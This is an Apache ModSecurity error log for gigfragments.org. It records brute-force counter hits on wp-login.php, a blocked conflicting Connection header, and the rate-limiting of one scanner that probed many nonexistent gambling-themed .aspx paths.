[Tue Feb 24 07:00:04.719825 2026] [:error] [pid 37644:tid 37658] [client 172.245.102.6:32263] [client 172.245.102.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzb9ELaEhVDwBRydH1rLwAAAMw"]
[Tue Feb 24 07:00:04.719828 2026] [:error] [pid 11672:tid 11679] [client 193.36.225.132:42123] [client 193.36.225.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.132, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzb9Pa0fhnmfPYq92u9NQAAAQU"]
[Tue Feb 24 07:09:13.366114 2026] [:error] [pid 37540:tid 37621] [client 193.36.225.117:51229] [client 193.36.225.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.117, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzeGSahRAUBJS8hpJV36gAAAJM"]
[Tue Feb 24 07:09:13.370833 2026] [:error] [pid 37540:tid 37605] [client 172.245.102.9:55155] [client 172.245.102.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzeGSahRAUBJS8hpJV36wAAAIM"]
[Tue Feb 24 07:18:08.500290 2026] [:error] [pid 37644:tid 37663] [client 43.130.139.136:58096] [client 43.130.139.136] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZzgMELaEhVDwBRydH12ngAAANE"]
[Tue Feb 24 07:18:55.359263 2026] [:error] [pid 41188:tid 41203] [client 172.245.102.10:39893] [client 172.245.102.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.10, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzgXwWRg7szIRhA0WiFTQAAAUw"]
[Tue Feb 24 07:18:55.361505 2026] [:error] [pid 41188:tid 41202] [client 37.140.223.14:49403] [client 37.140.223.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzgXwWRg7szIRhA0WiFTgAAAUs"]
[Tue Feb 24 07:23:44.803098 2026] [:error] [pid 37540:tid 37608] [client 135.181.180.59:45826] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aZzhgCahRAUBJS8hpJWBzQAAAIY"]
[Tue Feb 24 07:23:46.854226 2026] [:error] [pid 37538:tid 37565] [client 135.181.180.59:45832] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aZzhgiynTiHZ9J0Y2nZy5gAAABE"]
[Tue Feb 24 07:23:48.776327 2026] [:error] [pid 37540:tid 37602] [client 135.181.180.59:45846] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aZzhhCahRAUBJS8hpJWB0wAAAIA"]
[Tue Feb 24 07:23:50.722451 2026] [:error] [pid 11672:tid 11690] [client 135.181.180.59:45850] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aZzhhva0fhnmfPYq92vFJgAAARA"]
[Tue Feb 24 07:23:52.813025 2026] [:error] [pid 11672:tid 11694] [client 135.181.180.59:45852] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aZzhiPa0fhnmfPYq92vFKQAAARQ"]
[Tue Feb 24 07:23:54.763964 2026] [:error] [pid 41188:tid 41192] [client 135.181.180.59:40352] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aZzhigWRg7szIRhA0WiG6wAAAUE"]
[Tue Feb 24 07:23:56.773592 2026] [:error] [pid 37644:tid 37647] [client 135.181.180.59:40364] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aZzhjELaEhVDwBRydH14LAAAAME"]
[Tue Feb 24 07:23:58.711643 2026] [:error] [pid 37540:tid 37623] [client 135.181.180.59:40374] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aZzhjiahRAUBJS8hpJWB4wAAAJU"]
[Tue Feb 24 07:24:00.871991 2026] [:error] [pid 37644:tid 37659] [client 135.181.180.59:40378] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aZzhkELaEhVDwBRydH14NQAAAM0"]
[Tue Feb 24 07:24:03.035247 2026] [:error] [pid 11672:tid 11676] [client 135.181.180.59:40382] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aZzhk_a0fhnmfPYq92vFNAAAAQI"]
[Tue Feb 24 07:24:04.952042 2026] [:error] [pid 41188:tid 41191] [client 135.181.180.59:18062] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aZzhlAWRg7szIRhA0WiG_wAAAUA"]
[Tue Feb 24 07:24:06.887217 2026] [:error] [pid 41188:tid 41200] [client 135.181.180.59:18064] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aZzhlgWRg7szIRhA0WiHEAAAAUk"]
[Tue Feb 24 07:24:09.067878 2026] [:error] [pid 41188:tid 41207] [client 135.181.180.59:18070] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aZzhmQWRg7szIRhA0WiHGgAAAVA"]
[Tue Feb 24 07:24:11.065193 2026] [:error] [pid 37644:tid 37654] [client 135.181.180.59:18086] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aZzhm0LaEhVDwBRydH14SwAAAMg"]
[Tue Feb 24 07:24:13.047342 2026] [:error] [pid 37540:tid 37610] [client 135.181.180.59:18102] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aZzhnSahRAUBJS8hpJWB-wAAAIg"]
[Tue Feb 24 07:24:15.152211 2026] [:error] [pid 41188:tid 41197] [client 135.181.180.59:56226] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aZzhnwWRg7szIRhA0WiHKQAAAUY"]
[Tue Feb 24 07:24:17.081288 2026] [:error] [pid 37539:tid 37578] [client 135.181.180.59:56230] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZzhoXEnr46jUQep9z_gJQAAAEM"]
[Tue Feb 24 07:24:19.006064 2026] [:error] [pid 11672:tid 11682] [client 135.181.180.59:56236] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aZzho_a0fhnmfPYq92vFPQAAAQg"]
[Tue Feb 24 07:24:21.080542 2026] [:error] [pid 37540:tid 37625] [client 135.181.180.59:56248] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aZzhpSahRAUBJS8hpJWCBAAAAJc"]
[Tue Feb 24 07:24:23.184852 2026] [:error] [pid 41188:tid 41195] [client 135.181.180.59:56252] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZzhpwWRg7szIRhA0WiHMwAAAUQ"]
[Tue Feb 24 07:24:25.311932 2026] [:error] [pid 37540:tid 37619] [client 135.181.180.59:5280] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZzhqSahRAUBJS8hpJWCCgAAAJE"]
[Tue Feb 24 07:24:37.046194 2026] [:error] [pid 37540:tid 37617] [client 135.181.180.59:1990] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aZzhtSahRAUBJS8hpJWCNAAAAI8"]
[Tue Feb 24 07:24:39.032265 2026] [:error] [pid 37540:tid 37609] [client 135.181.180.59:2002] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aZzhtyahRAUBJS8hpJWCOwAAAIc"]
[Tue Feb 24 07:25:34.308513 2026] [:error] [pid 37644:tid 37661] [client 135.181.180.59:14096] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "aZzh7kLaEhVDwBRydH14mgAAAM8"]
[Tue Feb 24 07:25:36.428332 2026] [:error] [pid 37644:tid 37666] [client 135.181.180.59:12588] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZzh8ELaEhVDwBRydH14nQAAANQ"]
[Tue Feb 24 07:25:38.414068 2026] [:error] [pid 11672:tid 11685] [client 135.181.180.59:12600] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker.aspx"] [unique_id "aZzh8va0fhnmfPYq92vFWQAAAQs"]
[Tue Feb 24 07:25:40.400375 2026] [:error] [pid 41188:tid 41210] [client 135.181.180.59:12614] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20osaka.aspx"] [unique_id "aZzh9AWRg7szIRhA0WiHgAAAAVM"]
[Tue Feb 24 07:25:42.420540 2026] [:error] [pid 11672:tid 11697] [client 135.181.180.59:12624] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "aZzh9va0fhnmfPYq92vFWwAAARc"]
[Tue Feb 24 07:25:44.371680 2026] [:error] [pid 37540:tid 37614] [client 135.181.180.59:12640] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZzh-CahRAUBJS8hpJWCsgAAAIw"]
[Tue Feb 24 07:25:46.561589 2026] [:error] [pid 41188:tid 41200] [client 135.181.180.59:58296] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZzh-gWRg7szIRhA0WiHiQAAAUk"]
[Tue Feb 24 07:25:48.567321 2026] [:error] [pid 37540:tid 37610] [client 135.181.180.59:58304] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZzh_CahRAUBJS8hpJWCugAAAIg"]
[Tue Feb 24 07:25:50.711414 2026] [:error] [pid 37540:tid 37626] [client 135.181.180.59:58314] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZzh_iahRAUBJS8hpJWCwQAAAJg"]
[Tue Feb 24 07:25:52.877701 2026] [:error] [pid 37538:tid 37565] [client 135.181.180.59:58320] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZziACynTiHZ9J0Y2nZzCQAAABE"]
[Tue Feb 24 07:25:54.971970 2026] [:error] [pid 37540:tid 37615] [client 135.181.180.59:55972] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZziAiahRAUBJS8hpJWCzAAAAI0"]
[Tue Feb 24 07:25:57.155267 2026] [:error] [pid 41188:tid 41205] [client 135.181.180.59:55976] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZziBQWRg7szIRhA0WiHjgAAAU4"]
[Tue Feb 24 07:25:59.177478 2026] [:error] [pid 41188:tid 41193] [client 135.181.180.59:55980] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZziBwWRg7szIRhA0WiHkwAAAUI"]
[Tue Feb 24 07:26:01.108584 2026] [:error] [pid 37540:tid 37617] [client 135.181.180.59:55982] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZziCSahRAUBJS8hpJWC0QAAAI8"]
[Tue Feb 24 07:26:03.230025 2026] [:error] [pid 37540:tid 37622] [client 135.181.180.59:55988] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aZziCyahRAUBJS8hpJWC2AAAAJQ"]
[Tue Feb 24 07:26:05.161142 2026] [:error] [pid 41188:tid 41210] [client 135.181.180.59:59120] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aZziDQWRg7szIRhA0WiHmAAAAVM"]
[Tue Feb 24 07:26:07.235633 2026] [:error] [pid 41188:tid 41202] [client 135.181.180.59:59126] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aZziDwWRg7szIRhA0WiHngAAAUs"]
[Tue Feb 24 07:26:09.094854 2026] [:error] [pid 41188:tid 41194] [client 135.181.180.59:59130] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aZziEQWRg7szIRhA0WiHpAAAAUM"]
[Tue Feb 24 07:26:11.034161 2026] [:error] [pid 37538:tid 37552] [client 135.181.180.59:59132] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aZziEyynTiHZ9J0Y2nZzDgAAAAQ"]
[Tue Feb 24 07:26:13.011030 2026] [:error] [pid 37540:tid 37604] [client 135.181.180.59:59138] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aZziFSahRAUBJS8hpJWC3wAAAII"]
[Tue Feb 24 07:26:15.068922 2026] [:error] [pid 37540:tid 37614] [client 135.181.180.59:39784] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aZziFyahRAUBJS8hpJWC5QAAAIw"]
[Tue Feb 24 07:26:16.967319 2026] [:error] [pid 37540:tid 37603] [client 135.181.180.59:39792] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aZziGCahRAUBJS8hpJWC6wAAAIE"]
[Tue Feb 24 07:26:18.996618 2026] [:error] [pid 37540:tid 37604] [client 135.181.180.59:39808] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aZziGiahRAUBJS8hpJWC8wAAAII"]
[Tue Feb 24 07:26:20.883064 2026] [:error] [pid 37644:tid 37668] [client 135.181.180.59:39818] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZziHELaEhVDwBRydH14uwAAANY"]
[Tue Feb 24 07:26:22.761813 2026] [:error] [pid 37644:tid 37655] [client 135.181.180.59:39832] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aZziHkLaEhVDwBRydH14vQAAAMk"]
